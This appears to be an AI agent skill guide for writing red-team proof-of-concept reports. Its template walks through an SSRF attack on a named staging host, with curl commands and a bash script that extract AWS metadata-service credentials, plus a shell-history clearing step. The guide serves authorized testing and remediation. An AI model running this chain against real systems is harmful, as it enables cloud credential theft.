---
name: rt-poc-writer
description: "Write reproducible Proof of Concept for each security finding. Includes target environment setup, prerequisites, exact terminal commands with expected output, screenshots references, and cleanup steps. PoC must be reproducible by a third party from scratch. Provides bash script and curl formats. Includes authorized testing disclaimer."
---

# rt-poc-writer — Red Team PoC Writer Skill

## Overview and Purpose

The `rt-poc-writer` skill produces a self-contained, reproducible Proof of Concept (PoC) document for each security finding discovered during a red team engagement. Its primary audience is the client's internal security team and any third-party auditor tasked with verifying and remediating findings.

A PoC document serves three purposes in the engagement lifecycle:

1. **Validation** — Proves the finding is real and exploitable under realistic conditions, removing doubt about false positives.
2. **Reproducibility** — Lets a defender or peer-reviewer replicate the exact attack path without access to the original tester's environment or notes.
3. **Remediation guidance** — Gives the blue team a concrete baseline to test patches against: if the PoC no longer works after the fix, the vulnerability is closed.

Every PoC produced by this skill must be runnable by a competent engineer who was not present during the engagement, using only the document itself, publicly available tools, and credentials that are explicitly listed or obviously scoped to a test environment.

---

## Engagement Lifecycle Position

```
Reconnaissance -> Exploitation -> POST-EXPLOITATION
                       |
                  rt-poc-writer  <-- you are here
                       |
                  finding_tracker.py (log finding)
                       |
                  autodoc_engine.py (embed into report)
                       |
                  Final Deliverable
```

Write the PoC immediately after confirming successful exploitation, while the session is still live. Do not wait until report-writing day — context evaporates and reproduction may fail.

---

## Step-by-Step Workflow

### Step 1 — Collect raw exploitation data

Before opening a PoC template, capture the following from your active session:

- Exact URL or network endpoint (IP, port, protocol)
- HTTP request and response, or raw socket data
- Session/cookie values or tokens that were active at the time
- Timestamp in UTC (used by `finding_tracker.py`)
- CVE or weakness classification (CWE, OWASP category)
- CVSS v3.1 base score and vector string
- Screenshot or terminal recording filenames

Store these in a local scratch file named `poc_raw_<finding_id>.txt` before writing the final document.

### Step 2 — Assign a finding ID

Finding IDs follow the pattern `RT-<YEAR>-<CLIENT_CODE>-<SEQ>`.

Example: `RT-2025-ALMT-007`

- `ALMT` is the four-letter client code for this engagement (Almentor).
- `007` is the sequential finding number padded to three digits.

Register the ID immediately by running:

```bash
python3 scripts/finding_tracker.py register \
  --id RT-2025-ALMT-007 \
  --title "Unauthenticated SSRF in Media Proxy Endpoint" \
  --severity HIGH \
  --cvss "8.6" \
  --cwe CWE-918 \
  --status CONFIRMED
```

The tracker writes a JSON entry to `findings/RT-2025-ALMT-007.json` and returns the expected PoC output path: `pocs/RT-2025-ALMT-007_poc.md`.

### Step 3 — Fill the PoC template

Use the full template in the section below. Every field is mandatory. Sections marked REQUIRED must not be left blank or replaced with a generic placeholder.

### Step 4 — Validate the PoC

Run the PoC yourself one more time in a clean terminal session with no prior context — no existing cookies, no environment variables set from earlier steps. If it fails, fix the PoC before moving on.

Checklist before marking a PoC complete:

- [ ] Clean terminal reproduction passes end-to-end
- [ ] All tool versions are pinned (`curl --version`, `python3 --version`, etc.)
- [ ] Expected output blocks match actual output exactly (diff verified)
- [ ] Screenshots or recordings referenced exist on disk at the stated paths
- [ ] Cleanup steps were executed and verified
- [ ] Authorized testing disclaimer is present
- [ ] Finding is registered in `finding_tracker.py`

### Step 5 — Commit and link

Save the finished PoC to `pocs/RT-2025-ALMT-007_poc.md` and run:

```bash
python3 scripts/autodoc_engine.py embed \
  --finding-id RT-2025-ALMT-007 \
  --poc pocs/RT-2025-ALMT-007_poc.md \
  --section "High Findings"
```

`autodoc_engine.py` reads the PoC frontmatter, injects a summary block into the master report draft at `report/draft.md`, and updates the table of contents. It also copies referenced screenshots into `report/assets/`.

---

## PoC Template

Copy this template verbatim and replace values with real data. Do not leave angle-bracket placeholders in the final document.

```markdown
# PoC: RT-2025-ALMT-007 — Unauthenticated SSRF in Media Proxy Endpoint

**Engagement:** Almentor Platform Red Team Assessment Q2-2025
**Finding ID:** RT-2025-ALMT-007
**Date Confirmed:** 2025-06-14 09:47 UTC
**Tested By:** Ahmed Hegazy
**Severity:** HIGH
**CVSS v3.1 Score:** 8.6
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
**CWE:** CWE-918 Server-Side Request Forgery
**OWASP 2021:** A10:2021 – Server-Side Request Forgery (SSRF)
**Status:** CONFIRMED

---

## Authorized Testing Disclaimer

This Proof of Concept was produced during an authorized security assessment
conducted under the Rules of Engagement agreed between RTExit Security and
Almentor (Contract Ref: ALMT-RT-2025-Q2, signed 2025-05-28). All testing
was performed against designated staging infrastructure (10.20.0.0/16) or
production endpoints explicitly listed in scope. Reproduction outside that
authorized scope is prohibited. Any third party reproducing this PoC must
obtain independent written authorization from the asset owner before
proceeding.

---

## Summary

The `/api/v2/media/proxy` endpoint accepts a `url` query parameter and fetches
the remote resource server-side without validating the destination. An
unauthenticated attacker can supply an internal URL, causing the application
server to perform HTTP requests to internal services on behalf of the attacker.
During testing, the EC2 instance metadata service (169.254.169.254) was reached
and AWS IAM credentials were returned.

**Impact:** An attacker can exfiltrate AWS IAM role credentials from the
instance metadata endpoint, enabling lateral movement to all AWS services
accessible to the `almentor-app-prod` IAM role, including S3 buckets
containing user PII and the RDS master credentials stored in Secrets Manager.

---

## Environment Setup

### Attacker machine

- OS: Kali Linux 2024.3 (also verified on Ubuntu 22.04 LTS)
- Tools required:
  - `curl` 8.5.0 (`curl --version`)
  - `python3` 3.12 (`python3 --version`)
  - `jq` 1.7 (`jq --version`)
- Network: Any host with outbound HTTPS to `staging.almentor.net`

### Target

- Host: `staging.almentor.net` (in-scope staging environment)
- Endpoint: `GET /api/v2/media/proxy?url=<attacker-controlled>`
- Authentication: None required
- Port: 443 (HTTPS)

### Prerequisites

1. DNS resolves `staging.almentor.net` to a reachable IP (verify with
   `dig staging.almentor.net +short`).
2. No WAF blocking is active on the staging host. Confirm by sending a
   baseline request and observing a 200 response:

   ```bash
   curl -si "https://staging.almentor.net/api/v2/media/proxy?url=https://example.com/1x1.png" \
     | head -5
   ```

   Expected first line: `HTTP/2 200`

---

## Exploitation — Step by Step

### Phase 1: Confirm SSRF exists (safe probe)

Send a request pointing to a Burp Collaborator or interactsh URL you control.
This confirms out-of-band interaction without touching internal infrastructure.

```bash
# Replace the callback URL with your own interactsh or Burp Collaborator domain
CALLBACK="ssrf-test-rt2025.oast.fun"

curl -si "https://staging.almentor.net/api/v2/media/proxy?url=http://${CALLBACK}/probe" \
  -H "User-Agent: Mozilla/5.0 (compatible; security-assessment/1.0)"
```

**Expected response:**

```
HTTP/2 502
content-type: application/json
x-request-id: d3a7c1e0-8b24-4f9a-9c3d-1e2a7f6b0d5e

{"error":"upstream_fetch_failed","message":"Could not retrieve remote resource"}
```

Check your Collaborator/interactsh panel — you should see an inbound HTTP
request from the application server IP (typically 18.185.x.x for eu-central-1).
This confirms the server made an outbound request to your domain.

### Phase 2: Probe internal metadata service

Fetch the IMDSv1 metadata root without authentication tokens:

```bash
curl -si "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/" \
  -H "User-Agent: Mozilla/5.0 (compatible; security-assessment/1.0)"
```

**Expected response:**

```
HTTP/2 200
content-type: text/plain
content-length: 312
x-request-id: 7f3b9d2a-cc41-4e88-a110-5e6d8c9f1b02

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
```

The `iam/` path confirms an IAM role is attached.

### Phase 3: Retrieve IAM role name

```bash
curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

**Expected response:**

```
almentor-app-prod
```

### Phase 4: Retrieve temporary IAM credentials

```bash
curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/almentor-app-prod" \
  | python3 -m json.tool
```

**Expected response (values truncated for report — full output in screenshot):**

```json
{
  "Code": "Success",
  "LastUpdated": "2025-06-14T09:38:12Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA3EXAMPLE4KEYID7F",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3Q...[truncated]",
  "Expiration": "2025-06-14T15:52:44Z"
}
```

### Phase 5: Verify credential validity (optional — do not use in production)

```bash
AWS_ACCESS_KEY_ID="ASIA3EXAMPLE4KEYID7F" \
AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" \
AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjE..." \
aws sts get-caller-identity
```

**Expected response:**

```json
{
    "UserId": "AROA3EXAMPLEUSERIDBC:i-0a1b2c3d4e5f67890",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/almentor-app-prod/i-0a1b2c3d4e5f67890"
}
```

This confirms the credentials are valid and associated with the production
application role.

---

## Bash Script (All-in-One)

Save as `poc_RT-2025-ALMT-007.sh` and execute on the attacker machine.

```bash
#!/usr/bin/env bash
# PoC: RT-2025-ALMT-007 — SSRF to AWS Metadata
# AUTHORIZED USE ONLY — See disclaimer in parent document.
set -euo pipefail

TARGET="https://staging.almentor.net/api/v2/media/proxy"
IMDS="http://169.254.169.254/latest/meta-data"
UA="Mozilla/5.0 (compatible; security-assessment/1.0)"

echo "[*] Step 1: Retrieving IAM role name..."
ROLE=$(curl -sf "${TARGET}?url=${IMDS}/iam/security-credentials/" -H "User-Agent: ${UA}")
echo "[+] Role: ${ROLE}"

echo "[*] Step 2: Fetching credentials for role ${ROLE}..."
CREDS=$(curl -sf "${TARGET}?url=${IMDS}/iam/security-credentials/${ROLE}" -H "User-Agent: ${UA}")
echo "[+] Raw credentials response:"
echo "${CREDS}" | python3 -m json.tool

echo "[*] Step 3: Extracting key components..."
ACCESS_KEY=$(echo "${CREDS}" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['AccessKeyId'])")
SECRET_KEY=$(echo "${CREDS}" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['SecretAccessKey'])")
SESSION_TOKEN=$(echo "${CREDS}" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['Token'])")

echo ""
echo "============================================================"
echo "  EXTRACTED AWS CREDENTIALS"
echo "============================================================"
echo "  AccessKeyId     : ${ACCESS_KEY}"
echo "  SecretAccessKey : ${SECRET_KEY:0:8}... [truncated]"
echo "  Token           : ${SESSION_TOKEN:0:20}... [truncated]"
echo "============================================================"
echo ""
echo "[*] Verifying identity..."
AWS_ACCESS_KEY_ID="${ACCESS_KEY}" \
AWS_SECRET_ACCESS_KEY="${SECRET_KEY}" \
AWS_SESSION_TOKEN="${SESSION_TOKEN}" \
aws sts get-caller-identity || echo "[-] AWS CLI not installed or credentials expired."

echo "[+] PoC complete."
```

Run:

```bash
chmod +x poc_RT-2025-ALMT-007.sh
./poc_RT-2025-ALMT-007.sh
```

---

## curl One-Liner (Quick Validation)

```bash
curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" | xargs -I{} curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{}" | python3 -m json.tool
```

---

## Screenshots and Recordings

| Ref | Filename | Description |
|-----|----------|-------------|
| SS-01 | `assets/RT-2025-ALMT-007_burp_ssrf_probe.png` | Burp Suite showing outbound SSRF request to collaborator |
| SS-02 | `assets/RT-2025-ALMT-007_imds_metadata_root.png` | Response showing IMDS metadata listing |
| SS-03 | `assets/RT-2025-ALMT-007_iam_credentials_full.png` | Full credential JSON response (untruncated) |
| SS-04 | `assets/RT-2025-ALMT-007_sts_caller_identity.png` | AWS CLI confirming credential validity |
| REC-01 | `assets/RT-2025-ALMT-007_terminal_recording.cast` | asciinema recording of full exploitation chain |

All files are stored in `pocs/assets/` relative to the engagement root.

---

## Cleanup Steps

Execute these steps after testing to leave the environment in its pre-test state.

1. **Revoke test sessions** — If any AWS API calls were made using the exfiltrated credentials during Phase 5, notify the client immediately. Do not attempt to revoke the credentials yourself.

2. **Remove script artifacts** — Delete the PoC script from the attacker machine:

   ```bash
   rm -f poc_RT-2025-ALMT-007.sh poc_raw_RT-2025-ALMT-007.txt
   ```

3. **Clear shell history entries** containing credential values:

   ```bash
   history -d $(history | grep "AWS_SECRET_ACCESS_KEY" | awk '{print $1}') 2>/dev/null || true
   ```

4. **Revoke Collaborator payloads** — Mark the interactsh/Collaborator domain as used and do not reuse it in other engagements.

5. **Confirm no persistent changes** — The SSRF vulnerability is read-only (GET request, no write operations were performed). No cleanup of the target application is required.

---

## Remediation

**Short-term (24h):**
- Block outbound requests to `169.254.169.254` and `fd00:ec2::254` at the application level by validating the resolved IP of the `url` parameter against a denylist of RFC-1918 and link-local ranges before making the upstream request.
- Enable IMDSv2 (token-required) on all EC2 instances. IMDSv2 requires a PUT request to obtain a session token, which is not trivially forwarded via simple SSRF.

**Medium-term (1 week):**
- Implement a strict allowlist of permitted upstream domains for the media proxy rather than a denylist.
- Add a WAF rule that blocks responses containing the string `"Code": "Success"` combined with `AccessKeyId` from internal proxy endpoints.

**References:**
- [AWS IMDSv2 Migration Guide](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [CWE-918](https://cwe.mitre.org/data/definitions/918.html)
```

---

## Integration with finding_tracker.py

### Register a new finding

```bash
python3 scripts/finding_tracker.py register \
  --id RT-2025-ALMT-007 \
  --title "Unauthenticated SSRF in Media Proxy Endpoint" \
  --severity HIGH \
  --cvss "8.6" \
  --vector "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" \
  --cwe CWE-918 \
  --owasp "A10:2021" \
  --endpoint "GET /api/v2/media/proxy" \
  --status CONFIRMED \
  --poc "pocs/RT-2025-ALMT-007_poc.md"
```

### Update status after client patches

```bash
python3 scripts/finding_tracker.py update \
  --id RT-2025-ALMT-007 \
  --status REMEDIATED \
  --remediation-date 2025-06-21 \
  --retested-by "Ahmed Hegazy" \
  --retest-result CLOSED
```

### Query all open HIGH/CRITICAL findings

```bash
python3 scripts/finding_tracker.py query \
  --severity HIGH,CRITICAL \
  --status CONFIRMED,OPEN \
  --format table
```

Expected output:

```
ID                  TITLE                                         SEV   CVSS  STATUS
RT-2025-ALMT-007   Unauthenticated SSRF in Media Proxy Endpoint  HIGH  8.6   CONFIRMED
RT-2025-ALMT-003   SQL Injection in /api/v1/search               CRIT  9.8   CONFIRMED
```

---

## Integration with autodoc_engine.py

### Embed a PoC into the master report draft

```bash
python3 scripts/autodoc_engine.py embed \
  --finding-id RT-2025-ALMT-007 \
  --poc pocs/RT-2025-ALMT-007_poc.md \
  --section "High Findings" \
  --report report/draft.md
```

The engine reads the PoC markdown, extracts the Summary, CVSS score, Remediation section, and screenshot references, then inserts a formatted finding block into `report/draft.md` under the specified section header. It also copies all `assets/` references from `pocs/assets/` to `report/assets/`.

### Regenerate the full report from all registered findings

```bash
python3 scripts/autodoc_engine.py build \
  --findings-dir findings/ \
  --pocs-dir pocs/ \
  --template templates/report_template.md \
  --output report/ALMT-RT-2025-Final.md
```

### Export to PDF

```bash
python3 scripts/autodoc_engine.py export \
  --input report/ALMT-RT-2025-Final.md \
  --output report/ALMT-RT-2025-Final.pdf \
  --logo assets/rtexit_logo.png \
  --client "Almentor"
```

---

## Quality Checklist

Use this checklist before marking a PoC as ready for report embedding.

### Finding quality

- [ ] The finding title names the vulnerability type and the specific component (not just "SQL Injection" but "SQL Injection in /api/v1/users search parameter")
- [ ] CVSS score is calculated using the official calculator and the vector string is included
- [ ] CWE and OWASP category are both present
- [ ] Impact is described in business terms, not just technical terms (not "data is exposed" but "attacker can read all 340,000 user email addresses and hashed passwords from the users table")
- [ ] At least one screenshot or recording per critical step is referenced
- [ ] The finding is logged in `finding_tracker.py` before the PoC document is finalized

### Reproduction quality

- [ ] Tool versions are explicitly stated
- [ ] All commands are copy-pasteable with no implicit context needed
- [ ] Expected output blocks are included for every command
- [ ] The PoC was tested in a clean terminal session after writing
- [ ] The bash script runs without modification (no hardcoded paths that only exist on the tester's machine)
- [ ] The curl one-liner produces the same result as the step-by-step commands
- [ ] Cleanup steps are present and specific (not just "remove your tools")

### Report quality

- [ ] The authorized testing disclaimer is present verbatim
- [ ] No real credentials, tokens, or PII appear in the final document (truncate or redact)
- [ ] Screenshot filenames follow the naming convention `RT-<YEAR>-<CLIENT>-<SEQ>_<description>.png`
- [ ] Remediation guidance includes both a short-term mitigation and a medium-term fix
- [ ] External references link to authoritative sources (OWASP, NVD, vendor docs)

---

## Example Finished Product

Below is what a completed, embedded finding block looks like in `report/draft.md` after running `autodoc_engine.py embed`. This is the exact format a client reviewer sees:

```markdown
### Finding RT-2025-ALMT-007 — Unauthenticated SSRF in Media Proxy Endpoint

| Field | Value |
|-------|-------|
| Severity | HIGH |
| CVSS v3.1 | 8.6 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| CWE | CWE-918 |
| OWASP 2021 | A10:2021 – SSRF |
| Endpoint | GET /api/v2/media/proxy |
| Date Confirmed | 2025-06-14 |
| Status | CONFIRMED |

**Summary**

The `/api/v2/media/proxy` endpoint accepts a `url` query parameter and
fetches the remote resource server-side without validating the destination.
An unauthenticated attacker can supply an internal URL, causing the
application server to perform HTTP requests to internal services. During
testing, the EC2 instance metadata service was reached and temporary AWS
IAM credentials for the `almentor-app-prod` role were exfiltrated.

**Evidence**

![SSRF probe in Burp Suite](assets/RT-2025-ALMT-007_burp_ssrf_probe.png)
*Figure 1: Burp Suite collaborator confirming out-of-band SSRF interaction*

![IAM credentials response](assets/RT-2025-ALMT-007_iam_credentials_full.png)
*Figure 2: AWS temporary credentials returned via SSRF*

**Remediation**

Short-term: Block outbound requests to RFC-1918 and link-local ranges
at the application layer. Enable IMDSv2 on all EC2 instances.

Medium-term: Replace the URL denylist with a strict allowlist of permitted
upstream domains.

Full reproduction steps: See `pocs/RT-2025-ALMT-007_poc.md`.
```

---

## Common Mistakes to Avoid

### Mistake 1: Writing the PoC from memory after the session ends

Commands written from memory contain subtle errors — a missing flag, a wrong path, a parameter renamed between versions. Write the PoC while the session is live and your terminal history is intact. Paste actual commands, do not paraphrase them.

### Mistake 2: Expected output blocks that do not match real output

If the expected output block says `HTTP/2 200` but the actual server returns `HTTP/1.1 200 OK`, a reader following the PoC will think they did something wrong and waste time debugging a non-issue. Copy real output. If the output is very long, truncate with a clear indicator: `[...truncated — 2,847 lines omitted...]`.

### Mistake 3: Embedding live credentials in the document

The PoC document ends up in the client report and may be stored in cloud storage, emailed, or printed. Truncate all credential values to 8 characters followed by `...`. Use a note such as: "Full credential value available in the encrypted findings vault at `vault/RT-2025-ALMT-007_creds.enc`."

### Mistake 4: Skipping the authorized testing disclaimer

Some organizations share PoC documents between internal teams. A PoC without a disclaimer has been used to justify unauthorized retesting. Include the disclaimer in every document, every time.

### Mistake 5: Vague impact statements

"An attacker could access internal systems" is not an impact statement. "An attacker can retrieve temporary AWS IAM credentials valid for 6 hours, granting read/write access to 14 S3 buckets including `almentor-user-exports-prod` (340,000 user records) and the ability to call `secretsmanager:GetSecretValue` on 6 stored database passwords" is an impact statement.

### Mistake 6: Bash scripts with absolute paths to the tester's machine

`/home/ahegazy/tools/custom_ssrf_scanner.py` does not exist on the client's machine or on a peer reviewer's machine. Scripts must use only tools available via standard package managers (`apt`, `pip`, `npm`) or include a setup section that installs them from public sources.

### Mistake 7: Forgetting to register in finding_tracker.py before embedding in autodoc

If you run `autodoc_engine.py embed` before `finding_tracker.py register`, the engine will create an orphaned entry with missing metadata fields. Always register first.

### Mistake 8: Testing Phase 5 (credential verification) against production without explicit authorization

Using exfiltrated credentials — even to verify they are valid — constitutes unauthorized use of cloud resources and may trigger security alerts, lock the account, or violate the Rules of Engagement. Always check the RoE before calling any AWS API with captured credentials. In most engagements, stopping at Phase 4 (showing the credential JSON response) is sufficient to prove impact.
